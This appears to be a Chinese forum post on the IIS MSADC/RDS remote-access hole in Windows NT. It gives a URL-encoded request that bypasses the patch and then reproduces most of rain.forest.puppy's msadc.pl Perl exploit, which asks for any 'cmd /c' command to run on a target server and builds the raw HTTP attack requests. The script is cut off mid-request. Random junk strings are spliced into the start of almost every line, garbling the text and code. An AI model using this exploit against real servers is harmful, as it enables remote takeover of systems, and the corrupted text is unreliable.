IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>u*woNw(XM Ook3B 涉及程序:
9`4h"9dO Microsoft NT server
,\+tvrR4X )@]-bPnv 描述:
x3PeU_9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:`:<JA3, R>/M>*C 详细:
g"(N_sv? 如果你没有时间读详细内容的话,就删除:
pcur6:8W! c:\Program Files\Common Files\System\Msadc\msadcs.dll
a}i{b2B 有关的安全问题就没有了。
'8*gJ7] 7 z<!2 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
/nv1.c)k reu[}k ~ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
[O"i!AQ 关于利用ODBC远程漏洞的描述,请参看:
2O<Sig= )P|%=laE8 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yC+N18y? K ANE"M 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
.Z%7+[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp px//q4U n
'P: 这里不再论述。
&0(2Z^Z>fw 7 aDI6G 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
S~(4q#Dt- "sT`Dhr /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
^}/YGAA 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
5\R8>G~H ?aOR ^ K +
{a #将下面这段保存为txt文件,然后: "perl -x 文件名"
;jX_e(T3m =!#DUfQf #!perl
aI8wy-3 I #
3C_g)5
_: # MSADC/RDS 'usage' (aka exploit) script
)@R:$l86 #
_j%Rm:m;< # by rain.forest.puppy
,J}lyvkd #
M8KfC! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/
s H*if # beta test and find errors!
Sw5H+! lz{>c.Ll[ use Socket; use Getopt::Std;
_&
KaI }O getopts("e:vd:h:XR", \%args);
R)<Fqa7Tm !~ -^s print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
x-tA{_: mG?a)P if (!defined $args{h} && !defined $args{R}) {
KOi%zE% print qq~
WCR+ZXI?1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
elKQge -h <host> = host you want to scan (ip or domain)
OR?8F5o?p -d <seconds> = delay between calls, default 1 second
]\#RsVX -X = dump Index Server path table, if available
*\S>dhJ4 -v = verbose
{/QpEd>3+ -e = external dictionary file for step 5
?a}eRA7 Q96g7[ Or a -R will resume a command session
9sYX(Fl )B}]0`z:P ~; exit;}
1+y&n? #y>oCB`EM $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
cgz'6q'T if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
A]H+rxg if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^<y$+HcH if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
< "~k8:=4 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Jc:G7}j6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
PU-~7h+$ /)oxuk&}c if (!defined $args{R}){ $ret = &has_msadc;
DU 8)c$ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(/@o7&>*50 +S/8{2%?DG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
V8n}" . "cmd /c ";
p%3';7W\ $in=<STDIN>; chomp $in;
#(
kT $command="cmd /c " . $in ;
b]|7{yMV A=XM(2{aN if (defined $args{R}) {&load; exit;}
H.>KYiv+ kQ'G+Kw~F print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Ym F`7W &try_btcustmr;
Z<&:
W8n TzK?bbgr! print "\nStep 2: Trying to make our own DSN...";
2B!nLLCp+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>`oO(d}n[0 w~Y#[GW print "\nStep 3: Trying known DSNs...";
8\I(a]kM` &known_dsn;
8i:b~y0 JBoo7a1 print "\nStep 4: Trying known .mdbs...";
<n6/np! &known_mdb;
U{ahA A@DIq/^xM if (defined $args{e}){
Qz$.t>@V= print "\nStep 5: Trying dictionary of DSN names...";
YO,GZD`-o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
pkk0?$l", E&[ox[g{ print "Sorry Charley...maybe next time?\n";
~4 \bR exit;
^8MgNVoJ) |=h>3Z=r! ##############################################################################
_')KDy7 [fW:%!Y' sub sendraw { # ripped and modded from whisker
4e%SF|(Y'h sleep($delay); # it's a DoS on the server! At least on mine...
%"KBX~3+Kj my ($pstr)=@_;
~+T~}S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[xE\IqwM die("Socket problems\n");
w6wXe_N+M if(connect(S,pack "SnA4x8",2,80,$target)){
OKf/[hyu select(S); $|=1;
;$%+TN print $pstr; my @in=<S>;
Pt1Htt:BE select(STDOUT); close(S);
D2?7=5DgS return @in;
WrG)&&d } else { die("Can't connect...\n"); }}
l7x%G@1#~W Y:byb68 ##############################################################################
eA+6-'qN LXK+WB/s sub make_header { # make the HTTP request
Sk1yend4 my $msadc=<<EOT
PMTyiwlm POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
UhEnW8^bz1 User-Agent: ACTIVEDATA
E4{^[=} Host: $ip
W0nRUAo[ Content-Length: $clen
I`y}Ky<q Connection: Keep-Alive
FijzO -AffKo ADCClientVersion:01.06
XDI@mQmzB Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
FvvF4
,e5 `[:f;2(@ --!ADM!ROX!YOUR!WORLD!
leyX:
+ Content-Type: application/x-varg
&